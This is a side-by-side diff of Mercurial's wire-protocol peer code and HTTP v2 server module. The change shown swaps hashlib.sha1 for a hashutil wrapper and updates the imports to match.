466 value = b'%i' % bool(value)
466 value = b'%i' % bool(value)
467 elif keytype != b'plain':
467 elif keytype != b'plain':
468 raise KeyError(b'unknown getbundle option type %s' % keytype)
468 raise KeyError(b'unknown getbundle option type %s' % keytype)
469 opts[key] = value
469 opts[key] = value
470 f = self._callcompressable(b"getbundle", **pycompat.strkwargs(opts))
470 f = self._callcompressable(b"getbundle", **pycompat.strkwargs(opts))
471 if any((cap.startswith(b'HG2') for cap in bundlecaps)):
471 if any((cap.startswith(b'HG2') for cap in bundlecaps)):
472 return bundle2.getunbundler(self.ui, f)
472 return bundle2.getunbundler(self.ui, f)
473 else:
473 else:
474 return changegroupmod.cg1unpacker(f, b'UN')
474 return changegroupmod.cg1unpacker(f, b'UN')
475
475
476 def unbundle(self, bundle, heads, url):
476 def unbundle(self, bundle, heads, url):
477 '''Send cg (a readable file-like object representing the
477 '''Send cg (a readable file-like object representing the
478 changegroup to push, typically a chunkbuffer object) to the
478 changegroup to push, typically a chunkbuffer object) to the
479 remote server as a bundle.
479 remote server as a bundle.
480
480
481 When pushing a bundle10 stream, return an integer indicating the
481 When pushing a bundle10 stream, return an integer indicating the
482 result of the push (see changegroup.apply()).
482 result of the push (see changegroup.apply()).
483
483
484 When pushing a bundle20 stream, return a bundle20 stream.
484 When pushing a bundle20 stream, return a bundle20 stream.
485
485
486 `url` is the url the client thinks it's pushing to, which is
486 `url` is the url the client thinks it's pushing to, which is
487 visible to hooks.
487 visible to hooks.
488 '''
488 '''
489
489
490 if heads != [b'force'] and self.capable(b'unbundlehash'):
490 if heads != [b'force'] and self.capable(b'unbundlehash'):
491 heads = wireprototypes.encodelist(
491 heads = wireprototypes.encodelist(
492 [b'hashed', hashlib.sha1(b''.join(sorted(heads))).digest()]
492 [b'hashed', hashutil.sha1(b''.join(sorted(heads))).digest()]
493 )
493 )
494 else:
494 else:
495 heads = wireprototypes.encodelist(heads)
495 heads = wireprototypes.encodelist(heads)
496
496
497 if util.safehasattr(bundle, b'deltaheader'):
497 if util.safehasattr(bundle, b'deltaheader'):
498 # this a bundle10, do the old style call sequence
498 # this a bundle10, do the old style call sequence
499 ret, output = self._callpush(b"unbundle", bundle, heads=heads)
499 ret, output = self._callpush(b"unbundle", bundle, heads=heads)
500 if ret == b"":
500 if ret == b"":
501 raise error.ResponseError(_(b'push failed:'), output)
501 raise error.ResponseError(_(b'push failed:'), output)
502 try:
502 try:
503 ret = int(ret)
503 ret = int(ret)
504 except ValueError:
504 except ValueError:
505 raise error.ResponseError(
505 raise error.ResponseError(
506 _(b'push failed (unexpected response):'), ret
506 _(b'push failed (unexpected response):'), ret
507 )
507 )
508
508
509 for l in output.splitlines(True):
509 for l in output.splitlines(True):
510 self.ui.status(_(b'remote: '), l)
510 self.ui.status(_(b'remote: '), l)
511 else:
511 else:
512 # bundle2 push. Send a stream, fetch a stream.
512 # bundle2 push. Send a stream, fetch a stream.
513 stream = self._calltwowaystream(b'unbundle', bundle, heads=heads)
513 stream = self._calltwowaystream(b'unbundle', bundle, heads=heads)
514 ret = bundle2.getunbundler(self.ui, stream)
514 ret = bundle2.getunbundler(self.ui, stream)
515 return ret
515 return ret
516
516
517 # End of ipeercommands interface.
517 # End of ipeercommands interface.
518
518
519 # Begin of ipeerlegacycommands interface.
519 # Begin of ipeerlegacycommands interface.
520
520
521 def branches(self, nodes):
521 def branches(self, nodes):
522 n = wireprototypes.encodelist(nodes)
522 n = wireprototypes.encodelist(nodes)
523 d = self._call(b"branches", nodes=n)
523 d = self._call(b"branches", nodes=n)
524 try:
524 try:
525 br = [tuple(wireprototypes.decodelist(b)) for b in d.splitlines()]
525 br = [tuple(wireprototypes.decodelist(b)) for b in d.splitlines()]
526 return br
526 return br
527 except ValueError:
527 except ValueError:
528 self._abort(error.ResponseError(_(b"unexpected response:"), d))
528 self._abort(error.ResponseError(_(b"unexpected response:"), d))
529
529
530 def between(self, pairs):
530 def between(self, pairs):
531 batch = 8 # avoid giant requests
531 batch = 8 # avoid giant requests
532 r = []
532 r = []
533 for i in pycompat.xrange(0, len(pairs), batch):
533 for i in pycompat.xrange(0, len(pairs), batch):
534 n = b" ".join(
534 n = b" ".join(
535 [
535 [
536 wireprototypes.encodelist(p, b'-')
536 wireprototypes.encodelist(p, b'-')
537 for p in pairs[i : i + batch]
537 for p in pairs[i : i + batch]
538 ]
538 ]
539 )
539 )
540 d = self._call(b"between", pairs=n)
540 d = self._call(b"between", pairs=n)
541 try:
541 try:
542 r.extend(
542 r.extend(
543 l and wireprototypes.decodelist(l) or []
543 l and wireprototypes.decodelist(l) or []
544 for l in d.splitlines()
544 for l in d.splitlines()
545 )
545 )
546 except ValueError:
546 except ValueError:
547 self._abort(error.ResponseError(_(b"unexpected response:"), d))
547 self._abort(error.ResponseError(_(b"unexpected response:"), d))
548 return r
548 return r
549
549
550 def changegroup(self, nodes, source):
550 def changegroup(self, nodes, source):
551 n = wireprototypes.encodelist(nodes)
551 n = wireprototypes.encodelist(nodes)
552 f = self._callcompressable(b"changegroup", roots=n)
552 f = self._callcompressable(b"changegroup", roots=n)
553 return changegroupmod.cg1unpacker(f, b'UN')
553 return changegroupmod.cg1unpacker(f, b'UN')
554
554
555 def changegroupsubset(self, bases, heads, source):
555 def changegroupsubset(self, bases, heads, source):
556 self.requirecap(b'changegroupsubset', _(b'look up remote changes'))
556 self.requirecap(b'changegroupsubset', _(b'look up remote changes'))
557 bases = wireprototypes.encodelist(bases)
557 bases = wireprototypes.encodelist(bases)
558 heads = wireprototypes.encodelist(heads)
558 heads = wireprototypes.encodelist(heads)
559 f = self._callcompressable(
559 f = self._callcompressable(
560 b"changegroupsubset", bases=bases, heads=heads
560 b"changegroupsubset", bases=bases, heads=heads
561 )
561 )
562 return changegroupmod.cg1unpacker(f, b'UN')
562 return changegroupmod.cg1unpacker(f, b'UN')
563
563
564 # End of ipeerlegacycommands interface.
564 # End of ipeerlegacycommands interface.
565
565
566 def _submitbatch(self, req):
566 def _submitbatch(self, req):
567 """run batch request <req> on the server
567 """run batch request <req> on the server
568
568
569 Returns an iterator of the raw responses from the server.
569 Returns an iterator of the raw responses from the server.
570 """
570 """
571 ui = self.ui
571 ui = self.ui
572 if ui.debugflag and ui.configbool(b'devel', b'debug.peer-request'):
572 if ui.debugflag and ui.configbool(b'devel', b'debug.peer-request'):
573 ui.debug(b'devel-peer-request: batched-content\n')
573 ui.debug(b'devel-peer-request: batched-content\n')
574 for op, args in req:
574 for op, args in req:
575 msg = b'devel-peer-request: - %s (%d arguments)\n'
575 msg = b'devel-peer-request: - %s (%d arguments)\n'
576 ui.debug(msg % (op, len(args)))
576 ui.debug(msg % (op, len(args)))
577
577
578 unescapearg = wireprototypes.unescapebatcharg
578 unescapearg = wireprototypes.unescapebatcharg
579
579
580 rsp = self._callstream(b"batch", cmds=encodebatchcmds(req))
580 rsp = self._callstream(b"batch", cmds=encodebatchcmds(req))
581 chunk = rsp.read(1024)
581 chunk = rsp.read(1024)
582 work = [chunk]
582 work = [chunk]
583 while chunk:
583 while chunk:
584 while b';' not in chunk and chunk:
584 while b';' not in chunk and chunk:
585 chunk = rsp.read(1024)
585 chunk = rsp.read(1024)
586 work.append(chunk)
586 work.append(chunk)
587 merged = b''.join(work)
587 merged = b''.join(work)
588 while b';' in merged:
588 while b';' in merged:
589 one, merged = merged.split(b';', 1)
589 one, merged = merged.split(b';', 1)
590 yield unescapearg(one)
590 yield unescapearg(one)
591 chunk = rsp.read(1024)
591 chunk = rsp.read(1024)
592 work = [merged, chunk]
592 work = [merged, chunk]
593 yield unescapearg(b''.join(work))
593 yield unescapearg(b''.join(work))
594
594
595 def _submitone(self, op, args):
595 def _submitone(self, op, args):
596 return self._call(op, **pycompat.strkwargs(args))
596 return self._call(op, **pycompat.strkwargs(args))
597
597
598 def debugwireargs(self, one, two, three=None, four=None, five=None):
598 def debugwireargs(self, one, two, three=None, four=None, five=None):
599 # don't pass optional arguments left at their default value
599 # don't pass optional arguments left at their default value
600 opts = {}
600 opts = {}
601 if three is not None:
601 if three is not None:
602 opts['three'] = three
602 opts['three'] = three
603 if four is not None:
603 if four is not None:
604 opts['four'] = four
604 opts['four'] = four
605 return self._call(b'debugwireargs', one=one, two=two, **opts)
605 return self._call(b'debugwireargs', one=one, two=two, **opts)
606
606
607 def _call(self, cmd, **args):
607 def _call(self, cmd, **args):
608 """execute <cmd> on the server
608 """execute <cmd> on the server
609
609
610 The command is expected to return a simple string.
610 The command is expected to return a simple string.
611
611
612 returns the server reply as a string."""
612 returns the server reply as a string."""
613 raise NotImplementedError()
613 raise NotImplementedError()
614
614
615 def _callstream(self, cmd, **args):
615 def _callstream(self, cmd, **args):
616 """execute <cmd> on the server
616 """execute <cmd> on the server
617
617
618 The command is expected to return a stream. Note that if the
618 The command is expected to return a stream. Note that if the
619 command doesn't return a stream, _callstream behaves
619 command doesn't return a stream, _callstream behaves
620 differently for ssh and http peers.
620 differently for ssh and http peers.
621
621
622 returns the server reply as a file like object.
622 returns the server reply as a file like object.
623 """
623 """
624 raise NotImplementedError()
624 raise NotImplementedError()
625
625
626 def _callcompressable(self, cmd, **args):
626 def _callcompressable(self, cmd, **args):
627 """execute <cmd> on the server
627 """execute <cmd> on the server
628
628
629 The command is expected to return a stream.
629 The command is expected to return a stream.
630
630
631 The stream may have been compressed in some implementations. This
631 The stream may have been compressed in some implementations. This
632 function takes care of the decompression. This is the only difference
632 function takes care of the decompression. This is the only difference
633 with _callstream.
633 with _callstream.
634
634
635 returns the server reply as a file like object.
635 returns the server reply as a file like object.
636 """
636 """
637 raise NotImplementedError()
637 raise NotImplementedError()
638
638
639 def _callpush(self, cmd, fp, **args):
639 def _callpush(self, cmd, fp, **args):
640 """execute a <cmd> on server
640 """execute a <cmd> on server
641
641
642 The command is expected to be related to a push. Push has a special
642 The command is expected to be related to a push. Push has a special
643 return method.
643 return method.
644
644
645 returns the server reply as a (ret, output) tuple. ret is either
645 returns the server reply as a (ret, output) tuple. ret is either
646 empty (error) or a stringified int.
646 empty (error) or a stringified int.
647 """
647 """
648 raise NotImplementedError()
648 raise NotImplementedError()
649
649
650 def _calltwowaystream(self, cmd, fp, **args):
650 def _calltwowaystream(self, cmd, fp, **args):
651 """execute <cmd> on server
651 """execute <cmd> on server
652
652
653 The command will send a stream to the server and get a stream in reply.
653 The command will send a stream to the server and get a stream in reply.
654 """
654 """
655 raise NotImplementedError()
655 raise NotImplementedError()
656
656
657 def _abort(self, exception):
657 def _abort(self, exception):
658 """clearly abort the wire protocol connection and raise the exception
658 """clearly abort the wire protocol connection and raise the exception
659 """
659 """
660 raise NotImplementedError()
660 raise NotImplementedError()
@@ -1,1573 +1,1573
1 # Copyright 21 May 2005 - (c) 2005 Jake Edge <jake@edge2.net>
1 # Copyright 21 May 2005 - (c) 2005 Jake Edge <jake@edge2.net>
2 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
2 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
3 #
3 #
4 # This software may be used and distributed according to the terms of the
4 # This software may be used and distributed according to the terms of the
5 # GNU General Public License version 2 or any later version.
5 # GNU General Public License version 2 or any later version.
6
6
7 from __future__ import absolute_import
7 from __future__ import absolute_import
8
8
9 import collections
9 import collections
10 import contextlib
10 import contextlib
11 import hashlib
12
11
13 from .i18n import _
12 from .i18n import _
14 from .node import (
13 from .node import (
15 hex,
14 hex,
16 nullid,
15 nullid,
17 )
16 )
18 from . import (
17 from . import (
19 discovery,
18 discovery,
20 encoding,
19 encoding,
21 error,
20 error,
22 match as matchmod,
21 match as matchmod,
23 narrowspec,
22 narrowspec,
24 pycompat,
23 pycompat,
25 streamclone,
24 streamclone,
26 templatefilters,
25 templatefilters,
27 util,
26 util,
28 wireprotoframing,
27 wireprotoframing,
29 wireprototypes,
28 wireprototypes,
30 )
29 )
31 from .interfaces import util as interfaceutil
30 from .interfaces import util as interfaceutil
32 from .utils import (
31 from .utils import (
33 cborutil,
32 cborutil,
33 hashutil,
34 stringutil,
34 stringutil,
35 )
35 )
36
36
37 FRAMINGTYPE = b'application/mercurial-exp-framing-0006'
37 FRAMINGTYPE = b'application/mercurial-exp-framing-0006'
38
38
39 HTTP_WIREPROTO_V2 = wireprototypes.HTTP_WIREPROTO_V2
39 HTTP_WIREPROTO_V2 = wireprototypes.HTTP_WIREPROTO_V2
40
40
41 COMMANDS = wireprototypes.commanddict()
41 COMMANDS = wireprototypes.commanddict()
42
42
43 # Value inserted into cache key computation function. Change the value to
43 # Value inserted into cache key computation function. Change the value to
44 # force new cache keys for every command request. This should be done when
44 # force new cache keys for every command request. This should be done when
45 # there is a change to how caching works, etc.
45 # there is a change to how caching works, etc.
46 GLOBAL_CACHE_VERSION = 1
46 GLOBAL_CACHE_VERSION = 1
47
47
48
48
49 def handlehttpv2request(rctx, req, res, checkperm, urlparts):
49 def handlehttpv2request(rctx, req, res, checkperm, urlparts):
50 from .hgweb import common as hgwebcommon
50 from .hgweb import common as hgwebcommon
51
51
52 # URL space looks like: <permissions>/<command>, where <permission> can
52 # URL space looks like: <permissions>/<command>, where <permission> can
53 # be ``ro`` or ``rw`` to signal read-only or read-write, respectively.
53 # be ``ro`` or ``rw`` to signal read-only or read-write, respectively.
54
54
55 # Root URL does nothing meaningful... yet.
55 # Root URL does nothing meaningful... yet.
56 if not urlparts:
56 if not urlparts:
57 res.status = b'200 OK'
57 res.status = b'200 OK'
58 res.headers[b'Content-Type'] = b'text/plain'
58 res.headers[b'Content-Type'] = b'text/plain'
59 res.setbodybytes(_(b'HTTP version 2 API handler'))
59 res.setbodybytes(_(b'HTTP version 2 API handler'))
60 return
60 return
61
61
62 if len(urlparts) == 1:
62 if len(urlparts) == 1:
63 res.status = b'404 Not Found'
63 res.status = b'404 Not Found'
64 res.headers[b'Content-Type'] = b'text/plain'
64 res.headers[b'Content-Type'] = b'text/plain'
65 res.setbodybytes(
65 res.setbodybytes(
66 _(b'do not know how to process %s\n') % req.dispatchpath
66 _(b'do not know how to process %s\n') % req.dispatchpath
67 )
67 )
68 return
68 return
69
69
70 permission, command = urlparts[0:2]
70 permission, command = urlparts[0:2]
71
71
72 if permission not in (b'ro', b'rw'):
72 if permission not in (b'ro', b'rw'):
73 res.status = b'404 Not Found'
73 res.status = b'404 Not Found'
74 res.headers[b'Content-Type'] = b'text/plain'
74 res.headers[b'Content-Type'] = b'text/plain'
75 res.setbodybytes(_(b'unknown permission: %s') % permission)
75 res.setbodybytes(_(b'unknown permission: %s') % permission)
76 return
76 return
77
77
78 if req.method != b'POST':
78 if req.method != b'POST':
79 res.status = b'405 Method Not Allowed'
79 res.status = b'405 Method Not Allowed'
80 res.headers[b'Allow'] = b'POST'
80 res.headers[b'Allow'] = b'POST'
81 res.setbodybytes(_(b'commands require POST requests'))
81 res.setbodybytes(_(b'commands require POST requests'))
82 return
82 return
83
83
84 # At some point we'll want to use our own API instead of recycling the
84 # At some point we'll want to use our own API instead of recycling the
85 # behavior of version 1 of the wire protocol...
85 # behavior of version 1 of the wire protocol...
86 # TODO return reasonable responses - not responses that overload the
86 # TODO return reasonable responses - not responses that overload the
87 # HTTP status line message for error reporting.
87 # HTTP status line message for error reporting.
88 try:
88 try:
89 checkperm(rctx, req, b'pull' if permission == b'ro' else b'push')
89 checkperm(rctx, req, b'pull' if permission == b'ro' else b'push')
90 except hgwebcommon.ErrorResponse as e:
90 except hgwebcommon.ErrorResponse as e:
91 res.status = hgwebcommon.statusmessage(e.code, pycompat.bytestr(e))
91 res.status = hgwebcommon.statusmessage(e.code, pycompat.bytestr(e))
92 for k, v in e.headers:
92 for k, v in e.headers:
93 res.headers[k] = v
93 res.headers[k] = v
94 res.setbodybytes(b'permission denied')
94 res.setbodybytes(b'permission denied')
95 return
95 return
96
96
97 # We have a special endpoint to reflect the request back at the client.
97 # We have a special endpoint to reflect the request back at the client.
98 if command == b'debugreflect':
98 if command == b'debugreflect':
99 _processhttpv2reflectrequest(rctx.repo.ui, rctx.repo, req, res)
99 _processhttpv2reflectrequest(rctx.repo.ui, rctx.repo, req, res)
100 return
100 return
101
101
102 # Extra commands that we handle that aren't really wire protocol
102 # Extra commands that we handle that aren't really wire protocol
103 # commands. Think extra hard before making this hackery available to
103 # commands. Think extra hard before making this hackery available to
104 # extension.
104 # extension.
105 extracommands = {b'multirequest'}
105 extracommands = {b'multirequest'}
106
106
107 if command not in COMMANDS and command not in extracommands:
107 if command not in COMMANDS and command not in extracommands:
108 res.status = b'404 Not Found'
108 res.status = b'404 Not Found'
109 res.headers[b'Content-Type'] = b'text/plain'
109 res.headers[b'Content-Type'] = b'text/plain'
110 res.setbodybytes(_(b'unknown wire protocol command: %s\n') % command)
110 res.setbodybytes(_(b'unknown wire protocol command: %s\n') % command)
111 return
111 return
112
112
113 repo = rctx.repo
113 repo = rctx.repo
114 ui = repo.ui
114 ui = repo.ui
115
115
116 proto = httpv2protocolhandler(req, ui)
116 proto = httpv2protocolhandler(req, ui)
117
117
118 if (
118 if (
119 not COMMANDS.commandavailable(command, proto)
119 not COMMANDS.commandavailable(command, proto)
120 and command not in extracommands
120 and command not in extracommands
121 ):
121 ):
122 res.status = b'404 Not Found'
122 res.status = b'404 Not Found'
123 res.headers[b'Content-Type'] = b'text/plain'
123 res.headers[b'Content-Type'] = b'text/plain'
124 res.setbodybytes(_(b'invalid wire protocol command: %s') % command)
124 res.setbodybytes(_(b'invalid wire protocol command: %s') % command)
125 return
125 return
126
126
127 # TODO consider cases where proxies may add additional Accept headers.
127 # TODO consider cases where proxies may add additional Accept headers.
128 if req.headers.get(b'Accept') != FRAMINGTYPE:
128 if req.headers.get(b'Accept') != FRAMINGTYPE:
129 res.status = b'406 Not Acceptable'
129 res.status = b'406 Not Acceptable'
130 res.headers[b'Content-Type'] = b'text/plain'
130 res.headers[b'Content-Type'] = b'text/plain'
131 res.setbodybytes(
131 res.setbodybytes(
132 _(b'client MUST specify Accept header with value: %s\n')
132 _(b'client MUST specify Accept header with value: %s\n')
133 % FRAMINGTYPE
133 % FRAMINGTYPE
134 )
134 )
135 return
135 return
136
136
137 if req.headers.get(b'Content-Type') != FRAMINGTYPE:
137 if req.headers.get(b'Content-Type') != FRAMINGTYPE:
138 res.status = b'415 Unsupported Media Type'
138 res.status = b'415 Unsupported Media Type'
139 # TODO we should send a response with appropriate media type,
139 # TODO we should send a response with appropriate media type,
140 # since client does Accept it.
140 # since client does Accept it.
141 res.headers[b'Content-Type'] = b'text/plain'
141 res.headers[b'Content-Type'] = b'text/plain'
142 res.setbodybytes(
142 res.setbodybytes(
143 _(b'client MUST send Content-Type header with value: %s\n')
143 _(b'client MUST send Content-Type header with value: %s\n')
144 % FRAMINGTYPE
144 % FRAMINGTYPE
145 )
145 )
146 return
146 return
147
147
148 _processhttpv2request(ui, repo, req, res, permission, command, proto)
148 _processhttpv2request(ui, repo, req, res, permission, command, proto)
149
149
150
150
151 def _processhttpv2reflectrequest(ui, repo, req, res):
151 def _processhttpv2reflectrequest(ui, repo, req, res):
152 """Reads unified frame protocol request and dumps out state to client.
152 """Reads unified frame protocol request and dumps out state to client.
153
153
154 This special endpoint can be used to help debug the wire protocol.
154 This special endpoint can be used to help debug the wire protocol.
155
155
156 Instead of routing the request through the normal dispatch mechanism,
156 Instead of routing the request through the normal dispatch mechanism,
157 we instead read all frames, decode them, and feed them into our state
157 we instead read all frames, decode them, and feed them into our state
158 tracker. We then dump the log of all that activity back out to the
158 tracker. We then dump the log of all that activity back out to the
159 client.
159 client.
160 """
160 """
161 # Reflection APIs have a history of being abused, accidentally disclosing
161 # Reflection APIs have a history of being abused, accidentally disclosing
162 # sensitive data, etc. So we have a config knob.
162 # sensitive data, etc. So we have a config knob.
163 if not ui.configbool(b'experimental', b'web.api.debugreflect'):
163 if not ui.configbool(b'experimental', b'web.api.debugreflect'):
164 res.status = b'404 Not Found'
164 res.status = b'404 Not Found'
165 res.headers[b'Content-Type'] = b'text/plain'
165 res.headers[b'Content-Type'] = b'text/plain'
166 res.setbodybytes(_(b'debugreflect service not available'))
166 res.setbodybytes(_(b'debugreflect service not available'))
167 return
167 return
168
168
169 # We assume we have a unified framing protocol request body.
169 # We assume we have a unified framing protocol request body.
170
170
171 reactor = wireprotoframing.serverreactor(ui)
171 reactor = wireprotoframing.serverreactor(ui)
172 states = []
172 states = []
173
173
174 while True:
174 while True:
175 frame = wireprotoframing.readframe(req.bodyfh)
175 frame = wireprotoframing.readframe(req.bodyfh)
176
176
177 if not frame:
177 if not frame:
178 states.append(b'received: <no frame>')
178 states.append(b'received: <no frame>')
179 break
179 break
180
180
181 states.append(
181 states.append(
182 b'received: %d %d %d %s'
182 b'received: %d %d %d %s'
183 % (frame.typeid, frame.flags, frame.requestid, frame.payload)
183 % (frame.typeid, frame.flags, frame.requestid, frame.payload)
184 )
184 )
185
185
186 action, meta = reactor.onframerecv(frame)
186 action, meta = reactor.onframerecv(frame)
187 states.append(templatefilters.json((action, meta)))
187 states.append(templatefilters.json((action, meta)))
188
188
189 action, meta = reactor.oninputeof()
189 action, meta = reactor.oninputeof()
190 meta[b'action'] = action
190 meta[b'action'] = action
191 states.append(templatefilters.json(meta))
191 states.append(templatefilters.json(meta))
192
192
193 res.status = b'200 OK'
193 res.status = b'200 OK'
194 res.headers[b'Content-Type'] = b'text/plain'
194 res.headers[b'Content-Type'] = b'text/plain'
195 res.setbodybytes(b'\n'.join(states))
195 res.setbodybytes(b'\n'.join(states))
196
196
197
197
198 def _processhttpv2request(ui, repo, req, res, authedperm, reqcommand, proto):
198 def _processhttpv2request(ui, repo, req, res, authedperm, reqcommand, proto):
199 """Post-validation handler for HTTPv2 requests.
199 """Post-validation handler for HTTPv2 requests.
200
200
201 Called when the HTTP request contains unified frame-based protocol
201 Called when the HTTP request contains unified frame-based protocol
202 frames for evaluation.
202 frames for evaluation.
203 """
203 """
204 # TODO Some HTTP clients are full duplex and can receive data before
204 # TODO Some HTTP clients are full duplex and can receive data before
205 # the entire request is transmitted. Figure out a way to indicate support
205 # the entire request is transmitted. Figure out a way to indicate support
206 # for that so we can opt into full duplex mode.
206 # for that so we can opt into full duplex mode.
207 reactor = wireprotoframing.serverreactor(ui, deferoutput=True)
207 reactor = wireprotoframing.serverreactor(ui, deferoutput=True)
208 seencommand = False
208 seencommand = False
209
209
210 outstream = None
210 outstream = None
211
211
212 while True:
212 while True:
213 frame = wireprotoframing.readframe(req.bodyfh)
213 frame = wireprotoframing.readframe(req.bodyfh)
214 if not frame:
214 if not frame:
215 break
215 break
216
216
217 action, meta = reactor.onframerecv(frame)
217 action, meta = reactor.onframerecv(frame)
218
218
219 if action == b'wantframe':
219 if action == b'wantframe':
220 # Need more data before we can do anything.
220 # Need more data before we can do anything.
221 continue
221 continue
222 elif action == b'runcommand':
222 elif action == b'runcommand':
223 # Defer creating output stream because we need to wait for
223 # Defer creating output stream because we need to wait for
224 # protocol settings frames so proper encoding can be applied.
224 # protocol settings frames so proper encoding can be applied.
225 if not outstream:
225 if not outstream:
226 outstream = reactor.makeoutputstream()
226 outstream = reactor.makeoutputstream()
227
227
228 sentoutput = _httpv2runcommand(
228 sentoutput = _httpv2runcommand(
229 ui,
229 ui,
230 repo,
230 repo,
231 req,
231 req,
232 res,
232 res,
233 authedperm,
233 authedperm,
234 reqcommand,
234 reqcommand,
235 reactor,
235 reactor,
236 outstream,
236 outstream,
237 meta,
237 meta,
238 issubsequent=seencommand,
238 issubsequent=seencommand,
239 )
239 )
240
240
241 if sentoutput:
241 if sentoutput:
242 return
242 return
243
243
244 seencommand = True
244 seencommand = True
245
245
246 elif action == b'error':
246 elif action == b'error':
247 # TODO define proper error mechanism.
247 # TODO define proper error mechanism.
248 res.status = b'200 OK'
248 res.status = b'200 OK'
249 res.headers[b'Content-Type'] = b'text/plain'
249 res.headers[b'Content-Type'] = b'text/plain'
250 res.setbodybytes(meta[b'message'] + b'\n')
250 res.setbodybytes(meta[b'message'] + b'\n')
251 return
251 return
252 else:
252 else:
253 raise error.ProgrammingError(
253 raise error.ProgrammingError(
254 b'unhandled action from frame processor: %s' % action
254 b'unhandled action from frame processor: %s' % action
255 )
255 )
256
256
257 action, meta = reactor.oninputeof()
257 action, meta = reactor.oninputeof()
258 if action == b'sendframes':
258 if action == b'sendframes':
259 # We assume we haven't started sending the response yet. If we're
259 # We assume we haven't started sending the response yet. If we're
260 # wrong, the response type will raise an exception.
260 # wrong, the response type will raise an exception.
261 res.status = b'200 OK'
261 res.status = b'200 OK'
262 res.headers[b'Content-Type'] = FRAMINGTYPE
262 res.headers[b'Content-Type'] = FRAMINGTYPE
263 res.setbodygen(meta[b'framegen'])
263 res.setbodygen(meta[b'framegen'])
264 elif action == b'noop':
264 elif action == b'noop':
265 pass
265 pass
266 else:
266 else:
267 raise error.ProgrammingError(
267 raise error.ProgrammingError(
268 b'unhandled action from frame processor: %s' % action
268 b'unhandled action from frame processor: %s' % action
269 )
269 )
270
270
271
271
272 def _httpv2runcommand(
272 def _httpv2runcommand(
273 ui,
273 ui,
274 repo,
274 repo,
275 req,
275 req,
276 res,
276 res,
277 authedperm,
277 authedperm,
278 reqcommand,
278 reqcommand,
279 reactor,
279 reactor,
280 outstream,
280 outstream,
281 command,
281 command,
282 issubsequent,
282 issubsequent,
283 ):
283 ):
284 """Dispatch a wire protocol command made from HTTPv2 requests.
284 """Dispatch a wire protocol command made from HTTPv2 requests.
285
285
286 The authenticated permission (``authedperm``) along with the original
286 The authenticated permission (``authedperm``) along with the original
287 command from the URL (``reqcommand``) are passed in.
287 command from the URL (``reqcommand``) are passed in.
288 """
288 """
289 # We already validated that the session has permissions to perform the
289 # We already validated that the session has permissions to perform the
290 # actions in ``authedperm``. In the unified frame protocol, the canonical
290 # actions in ``authedperm``. In the unified frame protocol, the canonical
291 # command to run is expressed in a frame. However, the URL also requested
291 # command to run is expressed in a frame. However, the URL also requested
292 # to run a specific command. We need to be careful that the command we
292 # to run a specific command. We need to be careful that the command we
293 # run doesn't have permissions requirements greater than what was granted
293 # run doesn't have permissions requirements greater than what was granted
294 # by ``authedperm``.
294 # by ``authedperm``.
295 #
295 #
296 # Our rule for this is we only allow one command per HTTP request and
296 # Our rule for this is we only allow one command per HTTP request and
297 # that command must match the command in the URL. However, we make
297 # that command must match the command in the URL. However, we make
298 # an exception for the ``multirequest`` URL. This URL is allowed to
298 # an exception for the ``multirequest`` URL. This URL is allowed to
299 # execute multiple commands. We double check permissions of each command
299 # execute multiple commands. We double check permissions of each command
300 # as it is invoked to ensure there is no privilege escalation.
300 # as it is invoked to ensure there is no privilege escalation.
301 # TODO consider allowing multiple commands to regular command URLs
301 # TODO consider allowing multiple commands to regular command URLs
302 # iff each command is the same.
302 # iff each command is the same.
303
303
304 proto = httpv2protocolhandler(req, ui, args=command[b'args'])
304 proto = httpv2protocolhandler(req, ui, args=command[b'args'])
305
305
306 if reqcommand == b'multirequest':
306 if reqcommand == b'multirequest':
307 if not COMMANDS.commandavailable(command[b'command'], proto):
307 if not COMMANDS.commandavailable(command[b'command'], proto):
308 # TODO proper error mechanism
308 # TODO proper error mechanism
309 res.status = b'200 OK'
309 res.status = b'200 OK'
310 res.headers[b'Content-Type'] = b'text/plain'
310 res.headers[b'Content-Type'] = b'text/plain'
311 res.setbodybytes(
311 res.setbodybytes(
312 _(b'wire protocol command not available: %s')
312 _(b'wire protocol command not available: %s')
313 % command[b'command']
313 % command[b'command']
314 )
314 )
315 return True
315 return True
316
316
317 # TODO don't use assert here, since it may be elided by -O.
317 # TODO don't use assert here, since it may be elided by -O.
318 assert authedperm in (b'ro', b'rw')
318 assert authedperm in (b'ro', b'rw')
319 wirecommand = COMMANDS[command[b'command']]
319 wirecommand = COMMANDS[command[b'command']]
320 assert wirecommand.permission in (b'push', b'pull')
320 assert wirecommand.permission in (b'push', b'pull')
321
321
322 if authedperm == b'ro' and wirecommand.permission != b'pull':
322 if authedperm == b'ro' and wirecommand.permission != b'pull':
323 # TODO proper error mechanism
323 # TODO proper error mechanism
324 res.status = b'403 Forbidden'
324 res.status = b'403 Forbidden'
325 res.headers[b'Content-Type'] = b'text/plain'
325 res.headers[b'Content-Type'] = b'text/plain'
326 res.setbodybytes(
326 res.setbodybytes(
327 _(b'insufficient permissions to execute command: %s')
327 _(b'insufficient permissions to execute command: %s')
328 % command[b'command']
328 % command[b'command']
329 )
329 )
330 return True
330 return True
331
331
332 # TODO should we also call checkperm() here? Maybe not if we're going
332 # TODO should we also call checkperm() here? Maybe not if we're going
333 # to overhaul that API. The granted scope from the URL check should
333 # to overhaul that API. The granted scope from the URL check should
334 # be good enough.
334 # be good enough.
335
335
336 else:
336 else:
337 # Don't allow multiple commands outside of ``multirequest`` URL.
337 # Don't allow multiple commands outside of ``multirequest`` URL.
338 if issubsequent:
338 if issubsequent:
339 # TODO proper error mechanism
339 # TODO proper error mechanism
340 res.status = b'200 OK'
340 res.status = b'200 OK'
341 res.headers[b'Content-Type'] = b'text/plain'
341 res.headers[b'Content-Type'] = b'text/plain'
342 res.setbodybytes(
342 res.setbodybytes(
343 _(b'multiple commands cannot be issued to this URL')
343 _(b'multiple commands cannot be issued to this URL')
344 )
344 )
345 return True
345 return True
346
346
347 if reqcommand != command[b'command']:
347 if reqcommand != command[b'command']:
348 # TODO define proper error mechanism
348 # TODO define proper error mechanism
349 res.status = b'200 OK'
349 res.status = b'200 OK'
350 res.headers[b'Content-Type'] = b'text/plain'
350 res.headers[b'Content-Type'] = b'text/plain'
351 res.setbodybytes(_(b'command in frame must match command in URL'))
351 res.setbodybytes(_(b'command in frame must match command in URL'))
352 return True
352 return True
353
353
354 res.status = b'200 OK'
354 res.status = b'200 OK'
355 res.headers[b'Content-Type'] = FRAMINGTYPE
